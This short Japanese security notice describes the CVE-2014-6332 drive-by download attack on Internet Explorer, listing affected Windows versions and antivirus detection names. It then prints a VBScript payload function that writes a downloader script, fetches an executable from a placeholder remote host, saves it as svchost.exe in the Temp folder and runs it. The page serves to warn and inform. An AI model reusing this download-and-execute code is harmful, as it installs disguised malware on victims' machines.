CVE-2014-6332脆弱性 サイト閲覧でウイルス強制感染ドライブバイ・ダウンロード攻撃

影響環境 Windows 95、Windows 98、Windows ME、Windows XP、（Windows Vista）、（Windows 7）、（Windows 8）
影響ブラウザ Internet Explorer 3 ～ 11

BitDefender Exploit.CVE-2014-6332.Gen
DrWeb Exploit.CVE-2014-6332.1
ESET-NOD32 Win32/Exploit.CVE-2014-6332.A
Kaspersky Exploit.VBS.CVE-2014-6332.a
McAfee Exploit-CVE2014-6332
Microsoft Exploit:VBS/CVE-2014-6332
Symantec Exp.CVE-2014-6332

function runmumaa()
On Error Resume Next
Set objWsh = CreateObject("Wscript。Shell")

objWsh.run "cmd。exe /c echo >>C:\Windows\Temp\text.vbs Set xPost=createObject(""Microsoft。XMLHTTP"") & echo >>C:\Windows\Temp\text.vbs xPost.Open ""GET"",""http：//XXXXXX/****.exe"",0 & echo >>C:\Windows\Temp\text.vbs xPost.Send() & echo >>C:\Windows\Temp\text.vbs set sGet=createObject(""ADODB。Stream"") & echo >>C:\Windows\Temp\text.vbs sGet.Mode=3 & echo >>C:\Windows\Temp\text.vbs sGet.Type=1 & echo >>C:\Windows\Temp\text.vbs sGet.Open() & echo >>C:\Windows\Temp\text.vbs sGet.Write xPost.ResponseBody & echo >>C:\Windows\Temp\text.vbs sGet.SaveToFile ""C:\Windows\Temp\svchost.exe"",2",0
objWsh.run "cscript.exe C:\Windows\Temp\text.vbs",0,true
wscript.sleep 10000
objWsh.run "C:\Windows\Temp\svchost.exe"
document.write(Err.Description)
end function